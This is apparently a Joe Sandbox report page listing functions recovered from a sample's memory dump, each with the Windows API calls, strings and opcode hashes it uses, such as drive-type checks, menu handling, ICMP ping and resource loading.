Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: e91e348abbe8eb39601f837f968210cf51d7a73230f865f90772e88f87c48f2a
Instruction ID: c3b5dafc81c8f131e3db582a8932e46904170b0e5e12fe72e732c0ac8a952fbc
Opcode Fuzzy Hash: e91e348abbe8eb39601f837f968210cf51d7a73230f865f90772e88f87c48f2a
Instruction Fuzzy Hash: 2041A331500140AFEB726F28D888BF93B65EB06331F144365FEA58A1E6C7369C42FB61

Function 00FEAB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0100F910), ref: 00FEAB76
GetDriveTypeW.KERNEL32(00000061,0103A620,00000061), ref: 00FEAC40
_wcscpy.LIBCMT ref: 00FEAC6A

Strings

fixed, xrefs: 00FEABBE
unknown, xrefs: 00FEAC01
removable, xrefs: 00FEABA8
cdrom, xrefs: 00FEAB92
ramdisk, xrefs: 00FEABEA
network, xrefs: 00FEABD4
all, xrefs: 00FEAB7C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 5ff295ff447dc1a4e73902d2dff4cab6b3afe6de32218c0ba2906f9973832215
Instruction ID: 06d91dfe38a4e0fa83947a79e8c1da87495fd80b6a1b774c878d49c01e7d5aa7
Opcode Fuzzy Hash: 5ff295ff447dc1a4e73902d2dff4cab6b3afe6de32218c0ba2906f9973832215
Instruction Fuzzy Hash: AB51DE712083429BC720EF19CC81AAAB7A9FF84710F14481DF4D6972A2DB35E909EB53

Function 00F89997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00F899C2
__swprintf.LIBCMT ref: 00F89A0C
__i64tow.LIBCMT ref: 00FBFA0F

Strings

False, xrefs: 00FBF9D7
True, xrefs: 00FBF9D0
%.15g, xrefs: 00F89A06
0x%p, xrefs: 00FBF9F1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: 094831fe43fdc7401f6c83663823d5f44b6eda218ba2762a1b244a4a2a8c355d
Instruction ID: 4db5fa29815105aa0129c586f5e8bc25213c5a77a818275dd5ec8d52fd41a088
Opcode Fuzzy Hash: 094831fe43fdc7401f6c83663823d5f44b6eda218ba2762a1b244a4a2a8c355d
Instruction Fuzzy Hash: 47410372A08205AFDB24AB39DC42FBAB3E8EB45310F24446EF549D7281EE759905AB10

Function 010073C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 010073D9
CreateMenu.USER32 ref: 010073F4
SetMenu.USER32(?,00000000), ref: 01007403
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 01007490
IsMenu.USER32(?), ref: 010074A6
CreatePopupMenu.USER32 ref: 010074B0
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 010074DD
DrawMenuBar.USER32 ref: 010074E5

Strings

F, xrefs: 010074D1
0, xrefs: 010073CF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: cc94a2a13efe0370c83159e0c9be932af28aa3f5f3149fcad9869e046ff8da90
Instruction ID: 41e5da7172199508b65d04106da95028bfb66461a2072ba75710bcc3ca3e4b83
Opcode Fuzzy Hash: cc94a2a13efe0370c83159e0c9be932af28aa3f5f3149fcad9869e046ff8da90
Instruction Fuzzy Hash: D1415E74600205EFEB21DF68D884E9ABBF5FF49300F154069FA9597390DB3AA920DF50

Function 0100772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 010077CD
CreateCompatibleDC.GDI32(00000000), ref: 010077D4
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 010077E7
SelectObject.GDI32(00000000,00000000), ref: 010077EF
GetPixel.GDI32(00000000,00000000,00000000), ref: 010077FA
DeleteDC.GDI32(00000000), ref: 01007803
GetWindowLongW.USER32(?,000000EC), ref: 0100780D
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 01007821
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0100782D

Strings

static, xrefs: 01007765

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 81995a8fed18f775f6d9ec3ecd9388eae712efa92d5a45df7449c2920b5f3606
Instruction ID: f16a9d92f95be3028bddb70ccfd55fa1f634bb7fb892bdd0fb6329d769ca6248
Opcode Fuzzy Hash: 81995a8fed18f775f6d9ec3ecd9388eae712efa92d5a45df7449c2920b5f3606
Instruction Fuzzy Hash: F3316031101116ABEF239F74DC08FDA3BA9FF09761F114215FA95960D0DB3AE911EBA4

Function 00FA7040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FA707B

Part of subcall function 00FA8D68: __getptd_noexit.LIBCMT ref: 00FA8D68

__gmtime64_s.LIBCMT ref: 00FA7114
__gmtime64_s.LIBCMT ref: 00FA714A
__gmtime64_s.LIBCMT ref: 00FA7167
__allrem.LIBCMT ref: 00FA71BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FA71D9
__allrem.LIBCMT ref: 00FA71F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FA720E
__allrem.LIBCMT ref: 00FA7225
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00FA7243
__invoke_watson.LIBCMT ref: 00FA72B4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction ID: 797c4b0759d583cd35e459303184336ac9c8d259f4d873a463a42c9e708e12a5
Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction Fuzzy Hash: 6071CBF1E44716ABD714AE79CC41F9BB7E8AF12324F14823AF514E7281E774E940AB90

Function 00FE2A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE2A31
GetMenuItemInfoW.USER32(01046890,000000FF,00000000,00000030), ref: 00FE2A92
SetMenuItemInfoW.USER32(01046890,00000004,00000000,00000030), ref: 00FE2AC8
Sleep.KERNEL32(000001F4), ref: 00FE2ADA
GetMenuItemCount.USER32(?), ref: 00FE2B1E
GetMenuItemID.USER32(?,00000000), ref: 00FE2B3A
GetMenuItemID.USER32(?,-00000001), ref: 00FE2B64
GetMenuItemID.USER32(?,?), ref: 00FE2BA9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00FE2BEF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FE2C03
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FE2C24

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: f9a785e6939f467d3a620dcb1ba4ed66b52228cc1300d8d421d54c372aadcc16
Instruction ID: fe3e1fe52f39cd44c99aa04ae1880f4ee08702641a2e1295ecb065e6d95a1985
Opcode Fuzzy Hash: f9a785e6939f467d3a620dcb1ba4ed66b52228cc1300d8d421d54c372aadcc16
Instruction Fuzzy Hash: 9E61C1B190028AAFDB61DF65CD88EBE7BBCFB41324F140559E84193241F736AD45EB21

Function 01007192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 01007214
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 01007217
GetWindowLongW.USER32(?,000000F0), ref: 0100723B
_memset.LIBCMT ref: 0100724C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0100725E
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 010072D6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: f7a01d0c939b279a263235c979bfdb2162ba5f2f8e392e8cc4bb460feee25ae9
Instruction ID: a067e42a84266186157dc7e4b5232260c9bc38b651dadb46c3547b31361350f0
Opcode Fuzzy Hash: f7a01d0c939b279a263235c979bfdb2162ba5f2f8e392e8cc4bb460feee25ae9
Instruction Fuzzy Hash: C3618EB5900208AFEB21DFA8CC81EEE77F8EB09700F144199FA94A72D1D775A941DB60

Function 00FD710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00FD7135
SafeArrayAllocData.OLEAUT32(?), ref: 00FD718E
VariantInit.OLEAUT32(?), ref: 00FD71A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 00FD71C0
VariantCopy.OLEAUT32(?,?), ref: 00FD7213
SafeArrayUnaccessData.OLEAUT32(?), ref: 00FD7227
VariantClear.OLEAUT32(?), ref: 00FD723C
SafeArrayDestroyData.OLEAUT32(?), ref: 00FD7249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FD7252
VariantClear.OLEAUT32(?), ref: 00FD7264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00FD726F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: f78837781c724d3311571bd177b58739b5141fd56103c3fa2ba48c2163280f6b
Instruction ID: 37e2c3f7435c46172fc51312302aade4c614a7229adb185e99e19c10294bdb33
Opcode Fuzzy Hash: f78837781c724d3311571bd177b58739b5141fd56103c3fa2ba48c2163280f6b
Instruction Fuzzy Hash: DA418031904219AFCF10EFA4D8889ADBBB9FF08354F05806AF945AB351DB35A945EF90

Function 00FF5A45 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00FF5AA6
inet_addr.WSOCK32(?,?,?), ref: 00FF5AEB
gethostbyname.WSOCK32(?), ref: 00FF5AF7
IcmpCreateFile.IPHLPAPI ref: 00FF5B05
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00FF5B75
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00FF5B8B
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00FF5C00
WSACleanup.WSOCK32 ref: 00FF5C06

Strings

Ping, xrefs: 00FF5B29

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 8c092e9df3c2a0393f359212516a597726c26f65c7b5bbb3e83b01ace8050b1b
Instruction ID: d55964285e1641b53ea9e2de65e339befc56355be7ff6481cb1e9cfeb771c6d0
Opcode Fuzzy Hash: 8c092e9df3c2a0393f359212516a597726c26f65c7b5bbb3e83b01ace8050b1b
Instruction Fuzzy Hash: 495183316047019FD721AF24DC49B7A77E4EF84B20F144529F796DB2A1DB78E800EB41

Function 00FEB72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FEB73B
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00FEB7B1
GetLastError.KERNEL32 ref: 00FEB7BB
SetErrorMode.KERNEL32(00000000,READY), ref: 00FEB828

Strings

NOTREADY, xrefs: 00FEB7E7
INVALID, xrefs: 00FEB7FA
UNKNOWN, xrefs: 00FEB7E0
READONLY, xrefs: 00FEB7F3
READY, xrefs: 00FEB801

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 47935c4737337137a7d20738ce43dfbd528bb83ef363eb75cd2ef8435563b578
Instruction ID: 482ef718a5f62b4b50e2b1ad4db9bb1d74e9fea234656d3a8b5992f941230321
Opcode Fuzzy Hash: 47935c4737337137a7d20738ce43dfbd528bb83ef363eb75cd2ef8435563b578
Instruction Fuzzy Hash: 2531B235A002459FDB10EF66CC85AFF77B8EF88710F144029E541DB291DB759A42EB51

Function 00FD9471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00FD94F6
GetDlgCtrlID.USER32 ref: 00FD9501
GetParent.USER32 ref: 00FD951D
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FD9520
GetDlgCtrlID.USER32(?), ref: 00FD9529
GetParent.USER32(?), ref: 00FD9545
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FD9548

Strings

ComboBox, xrefs: 00FD947E
ListBox, xrefs: 00FD94B3

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 1cf5f5fad1b357a9aad02a9a8bf5a447ef9851966c8b700697352daec7df0f4c
Instruction ID: 57e79810cf6a37dc30aae49193af8f5be3ab35a5011ef6350e07d3fba676fb01
Opcode Fuzzy Hash: 1cf5f5fad1b357a9aad02a9a8bf5a447ef9851966c8b700697352daec7df0f4c
Instruction Fuzzy Hash: 0321E274900204ABCF15AFA1CC85EFEBBA9EF49310F14421AB56197292DB799919AB20

Function 00FD955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00FDB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00FDB0E7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00FD95DF
GetDlgCtrlID.USER32 ref: 00FD95EA
GetParent.USER32 ref: 00FD9606
SendMessageW.USER32(00000000,?,00000111,?), ref: 00FD9609
GetDlgCtrlID.USER32(?), ref: 00FD9612
GetParent.USER32(?), ref: 00FD962E
SendMessageW.USER32(00000000,?,?,00000111), ref: 00FD9631

Strings

ComboBox, xrefs: 00FD9569
ListBox, xrefs: 00FD959E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: d84c30783558be17cfa995d2a4a2bc8e1f8f15a2cd8c6c371fb8a899a2ea8308
Instruction ID: 588ea5f85604dca77a93776a7ce38f3c3b47aa54d8d27293ab5f981c9223da00
Opcode Fuzzy Hash: d84c30783558be17cfa995d2a4a2bc8e1f8f15a2cd8c6c371fb8a899a2ea8308
Instruction Fuzzy Hash: AA21D374900204BBDF15AFB1CCC5EFEBBB9EF48300F14011AB95197295DBB99919AB20

Function 00FD9645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00FD9651
GetClassNameW.USER32(00000000,?,00000100), ref: 00FD9666
_wcscmp.LIBCMT ref: 00FD9678
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00FD96F3

Strings

largeicons, xrefs: 00FD9687
smallicons, xrefs: 00FD96BB
details, xrefs: 00FD96A1
SHELLDLL_DefView, xrefs: 00FD9672
list, xrefs: 00FD96D5

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: eee1cf7f9ed9bb6cdadd3c98a2d9eefbf1008c2b1143fec88df23179a8392a8b
Instruction ID: fe28ad49f590d40098eb685a15ba6ae27edc8703d0550e7584bdcbe2a9786206
Opcode Fuzzy Hash: eee1cf7f9ed9bb6cdadd3c98a2d9eefbf1008c2b1143fec88df23179a8392a8b
Instruction Fuzzy Hash: ED11597764C307BAFA102661DC07DA6779D8B05374F20011BF900E51D1FEE6E9417B48

Function 00FF8BC0 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FF8BEC
CoInitialize.OLE32(00000000), ref: 00FF8C19
CoUninitialize.OLE32 ref: 00FF8C23
GetRunningObjectTable.OLE32(00000000,?), ref: 00FF8D23
SetErrorMode.KERNEL32(00000001,00000029), ref: 00FF8E50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,01012C0C), ref: 00FF8E84
CoGetObject.OLE32(?,00000000,01012C0C,?), ref: 00FF8EA7
SetErrorMode.KERNEL32(00000000), ref: 00FF8EBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00FF8F3A
VariantClear.OLEAUT32(?), ref: 00FF8F4A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 98805fc9aacf19bf1098e4507dc44289cd3786700ae45e139dc3a6b89d114e52
Instruction ID: 84456bde38fd71809b19f0ece75bc03c80d2af0770110f3a08d068c476d6d921
Opcode Fuzzy Hash: 98805fc9aacf19bf1098e4507dc44289cd3786700ae45e139dc3a6b89d114e52
Instruction Fuzzy Hash: FFC14571608309AFD700EF64C88496ABBE9FF88748F10491DF689DB261DB71ED06DB52

Function 00FE4189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00FE419D
__swprintf.LIBCMT ref: 00FE41AA

Part of subcall function 00FA38D8: __woutput_l.LIBCMT ref: 00FA3931

FindResourceW.KERNEL32(?,?,0000000E), ref: 00FE41D4
LoadResource.KERNEL32(?,00000000), ref: 00FE41E0
LockResource.KERNEL32(00000000), ref: 00FE41ED
FindResourceW.KERNEL32(?,?,00000003), ref: 00FE420D
LoadResource.KERNEL32(?,00000000), ref: 00FE421F
SizeofResource.KERNEL32(?,00000000), ref: 00FE422E
LockResource.KERNEL32(?), ref: 00FE423A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00FE429B

Memory Dump Source

